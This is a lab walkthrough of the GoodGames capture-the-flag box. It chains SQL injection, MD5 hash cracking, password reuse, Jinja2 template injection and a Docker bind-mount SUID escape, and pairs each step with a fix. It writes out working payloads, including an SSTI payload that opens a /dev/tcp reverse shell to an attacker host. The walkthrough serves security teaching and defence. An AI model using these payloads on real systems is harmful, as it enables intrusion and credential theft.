← all walkthroughs

GoodGames

Linux· Easy· Web
owned
2026-07-06
time to own
9m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target goodgames.htb ($TARGET) was fully compromised by chaining four weaknesses. A SQL injection flaw in the main gaming-site login form let me bypass authentication and extract the administrator's password hash from the database. That hash was unsalted MD5, cracked offline in seconds to the plaintext '[REDACTED: recovered credential]'.

The same password had been reused for the internal Flask administration panel on a second virtual host and for the SSH account of a system user, so one cracked credential unlocked all three services. Once inside the admin panel, a Jinja2 Server-Side Template Injection flaw in the profile-name field gave remote code execution inside a Docker container running as root. From the container, I SSH'd to the underlying host using the reused password and captured the user flag.

The container's root account could write to the host's /home/augustus directory because it was bind-mounted into the container — I placed a SUID-root copy of bash there, executed it on the host, and achieved full root access.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<second-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationVirtual-host enumeration (vhost fuzzing)
Mapped the attack surface and discovered a hidden internal virtual host
A port scan of $TARGET found only port 80 open, serving a Flask-based gaming site that responded to the hostname goodgames.htb. Virtual-host fuzzing uncovered a second application at internal-administration.goodgames.htb running a separate Flask/Werkzeug build on a different Python version. Unauthenticated requests to that host were redirected to its own /login page, signaling a private administration interface exposed on the same public IP.
HTTP response headers: 'Server: Werkzeug/2.0.2 Python/3.9.2' on the main site; 'Server: Werkzeug/2.0.2 Python/3.6.7' with HTTP 302 to /login on internal-administration.goodgames.htb.
Exact commands 3
Add both virtual hosts to local DNS resolution before proceeding.
echo "$TARGET goodgames.htb internal-administration.goodgames.htb" | sudo tee -a /etc/hosts
Full port scan; confirms only port 80 is open.
nmap -sV -sC -p- --min-rate 5000 $TARGET
Fuzz for additional virtual hosts; 'internal-administration' appears with a 302.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://$TARGET/" -H 'Host: FUZZ.goodgames.htb' -mc 200,302 -fw 0
2ExploitationSQL Injection — authentication bypass and credential extraction (CWE-89)
Extracted the administrator password hash via SQL injection on the login form
The email parameter of POST /login on goodgames.htb was built by string concatenation, not a parameterized query. Submitting a classic OR-bypass payload in the email field ( ' or 1=1-- -) returned HTTP 200 with a fresh session cookie, confirming the server executed the injected SQL. Sqlmap was then run against the same endpoint to enumerate the back-end database, identify the 'main' schema and 'user' table, and dump every row, recovering the administrator's email (admin@goodgames.htb) and its hashed password.
POST /login with email=' or 1=1-- -&password=x returned HTTP 200 and a session cookie. Sqlmap identified the 'main' database and 'user' table; admin@goodgames.htb with hash [REDACTED: recovered credential] was recovered.
Exact commands 3
Manual proof-of-concept: a Set-Cookie header in the 200 response confirms the injection.
curl -sS -i -X POST 'http://goodgames.htb/login' --data "email=' or 1=1-- -&password=x"
Automated extraction. After it finishes, check ~/.local/share/sqlmap/output/ for the CSV dump.
sqlmap -u 'http://goodgames.htb/login' --data='email=admin@goodgames.htb&password=x' -p email --batch --dump --threads=4 --flush-session --answers='follow=Y' | tee /tmp/gg_sqlmap_dump.txt
Confirm the dumped rows are present in the sqlmap output directory.
find /home/kali/.local/share/sqlmap/output/ -type f \( -name '*.csv' -o -name 'log' \) -exec cat {} +
FixReplace string-built SQL queries with parameterized statementsCritical
WeaknessThe login form's email parameter was concatenated directly into a SQL query. An unauthorised user could inject arbitrary SQL, bypass authentication entirely, and dump every row from the user database without supplying a valid password.
FixUse the database driver's parameterized query API throughout the application. With Flask-SQLAlchemy or SQLAlchemy Core, bind user input as a named parameter rather than embedding it in a string. Enforce this at code review by banning raw string formatting in any query. As a secondary control, add a WAF rule to alert on common SQLi tokens in authentication fields.
3Credential AccessOffline password hash cracking — unsalted MD5 (T1110.002)
Cracked the MD5 password hash offline in seconds
The recovered hash ([REDACTED: recovered credential]) is an unsalted MD5 digest. A GPU-accelerated dictionary attack against the rockyou wordlist recovered the plaintext almost instantly: '[REDACTED: recovered credential]'. Unsalted MD5 provides no meaningful protection against offline cracking — the entire hash space for common passwords can be exhausted in minutes on consumer hardware.
Exact commands 3
Write the extracted hash to a file for hashcat.
echo "$PASSWORD" > /tmp/gg_hash.txt
Mode 0 = raw MD5. Add --force if running in a VM. Plaintext '[REDACTED: recovered credential]' appears in the output.
hashcat -m 0 /tmp/gg_hash.txt /usr/share/wordlists/rockyou.txt
Display the already-cracked result from the hashcat pot file.
hashcat -m 0 /tmp/gg_hash.txt --show
FixReplace unsalted MD5 with a modern adaptive password hashing algorithmCritical
WeaknessPasswords were stored as unsalted MD5 digests. MD5 is a fast hashing algorithm designed for checksums, not passwords. Anyone who obtains the hash table can recover every plaintext password in minutes using a GPU and a common wordlist.
FixMigrate to bcrypt, scrypt, or Argon2id using a library such as passlib or Flask-Bcrypt. These algorithms are intentionally slow and add a unique per-user salt automatically. On the next login for each account, re-hash the validated plaintext with the new algorithm and discard the MD5 hash. Force a password-reset for all accounts that cannot be migrated interactively.
4Initial AccessCredential reuse across services (T1078)
Authenticated to the internal admin panel using reused credentials
The plaintext password recovered in the previous step was identical to the password protecting the internal-administration.goodgames.htb login page. Submitting admin@goodgames.htb / [REDACTED: recovered credential] granted an authenticated session to the Flask admin interface, including a profile-settings page where the user's display name could be edited. The same credential pair also worked as the SSH password for the 'augustus' account on the underlying host, demonstrating that a single cracked web-app password compromised two entirely separate systems.
POST to http://internal-administration.goodgames.htb/login with the above credentials returned a 200 and an authenticated session cookie.
Exact commands 1
Authenticates and saves the session cookie to /tmp/gg_admin.cookies. Look for a 200 and profile/logout markers.
curl -sS -c /tmp/gg_admin.cookies -b /tmp/gg_admin.cookies -X POST 'http://internal-administration.goodgames.htb/login' --data "username=admin@goodgames.htb&password=$PASSWORD" -L -I
FixEnforce unique credentials for every service and system accountHigh
WeaknessThe password '[REDACTED: recovered credential]' was shared across the public-facing web app, the internal administration panel, and the SSH account of the system user augustus. Cracking one hash unlocked all three surfaces; anyone who compromises any single credential immediately owns the others.
FixEnforce a strict no-reuse policy enforced through your identity provider or a secrets manager. Generate a long, random passphrase for each account independently. Immediately rotate all credentials that were shared. For the system SSH account, disable password authentication entirely and require public-key authentication.
5ExploitationServer-Side Template Injection — Flask/Jinja2 (T1190, CWE-94)
Executed arbitrary OS commands via Server-Side Template Injection in the profile-name field
The internal admin panel's profile-settings page passed the user's display name directly into a Flask/Jinja2 template render call without sanitization. Entering a Jinja2 expression such as {{7*7}} in the name field and saving caused the server to evaluate and return '49' in the rendered page, confirming template injection. A Jinja2 RCE payload using the Python object hierarchy was then submitted to spawn a reverse shell, establishing a root shell inside the Docker container that hosts the admin application.
The internal-administration app runs Python/3.6.7 Werkzeug, consistent with Flask/Jinja2. User and root flags were both captured following this step.
Exact commands 3
SSTI confirmation probe: output of '49' proves the template engine is evaluating input.
curl -sS -b /tmp/gg_admin.cookies -c /tmp/gg_admin.cookies -X POST 'http://internal-administration.goodgames.htb/settings' --data-urlencode 'name={{7*7}}' | grep -o '49'
Start a reverse-shell listener on your machine (tun0 HTB VPN interface) before the next step.
nc -lvnp 4444
Replace $ATTACKER_IP with your tun0 IP. Cycler is a Jinja2 global that exposes os. Delivers a root shell inside the Docker container.
curl -sS -b /tmp/gg_admin.cookies -c /tmp/gg_admin.cookies -X POST 'http://internal-administration.goodgames.htb/settings' --data-urlencode $'name={{ cycler.__init__.__globals__.os.popen("bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"").read() }}'
FixNever pass user-controlled strings into the Jinja2 template engineCritical
WeaknessThe profile-name field in the internal admin panel was rendered by passing the raw user-supplied string to Jinja2's template engine. Any user with access to that page could evaluate arbitrary Python expressions and execute OS commands as the application's process user (root inside the container).
FixInsert user-provided values into a pre-written template using Jinja2's variable-substitution syntax ({{ variable }}), never by constructing or evaluating a template string from user input. Enable autoescape globally in the Flask application. If the application currently calls render_template_string() with user data, replace it with render_template() against a static file. Run the application as an unprivileged user so that RCE through any channel has a limited blast radius.
6Lateral MovementSSH lateral movement via credential reuse (T1021.004)
SSH'd from the Docker container to the host using the reused '[REDACTED: recovered credential]' password
From inside the container, the Docker bridge gateway ($INTERNAL_HOST) was the host machine's address. The Linux system user 'augustus' on the host had the same password as the web administrator account — '[REDACTED: recovered credential]' — a direct reuse of the same credential cracked in step 3. SSH from the container to the host as augustus succeeded, providing an interactive shell on the underlying server and access to the user flag in augustus's home directory.
User flag captured at /home/augustus/user.txt.
Exact commands 3
Run inside the container shell. The default gateway (e.g. $INTERNAL_HOST) is the host.
ip route | grep default
Password: [REDACTED: recovered credential]. Run from inside the container to reach the host SSH service.
ssh augustus@$INTERNAL_HOST
User flag: <user.txt>.
cat /home/augustus/user.txt
7Privilege EscalationDocker bind-mount container escape via SUID binary (T1611)
Escaped the Docker container via a bind-mounted home directory to gain root on the host
Back inside the container (as root), I noticed that /home/augustus was a bind-mount of the host filesystem's /home/augustus directory — both paths referred to the same on-disk location. Because the container process ran as root, it could write any file to that shared path with any permissions. I copied /bin/bash into /home/augustus and set the SUID bit. Switching to the host SSH session as augustus and executing that SUID binary with the -p (privileged) flag spawned a root shell on the host, bypassing all container isolation.
Container shell ran as root. /home/augustus accessible from container. Root flag captured at /root/root.txt.
Exact commands 4
Run inside the container as root. Places a SUID-root bash binary in the host-mounted home directory.
cp /bin/bash /home/augustus/bash && chmod +s /home/augustus/bash
Confirm the -rwsr-sr-x permissions before moving to the host session.
ls -la /home/augustus/bash
Run on the HOST as augustus (via the SSH session from step 6). The -p flag preserves the SUID effective UID, yielding a root shell.
/home/augustus/bash -p
Root flag: <root.txt>.
cat /root/root.txt
FixRun Docker containers as non-root and never bind-mount writable user home directoriesCritical
WeaknessThe application container ran its process as root, and the host's /home/augustus directory was mounted into the container with read-write permissions. A root shell inside the container could therefore write SUID binaries to the host filesystem and execute them from any host account that has access to that directory.
FixAdd a non-root USER directive to the Dockerfile so the application process runs as an unprivileged UID. Mount host paths into containers as read-only where the application does not need to write (-v /path:/path:ro). Avoid bind-mounting home directories containing user SSH sessions or flag files into any container. Enable Docker user-namespace remapping so that container root maps to an unprivileged host UID, preventing privilege escalation even if a root shell is obtained inside the container.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Exposed services

80/tcp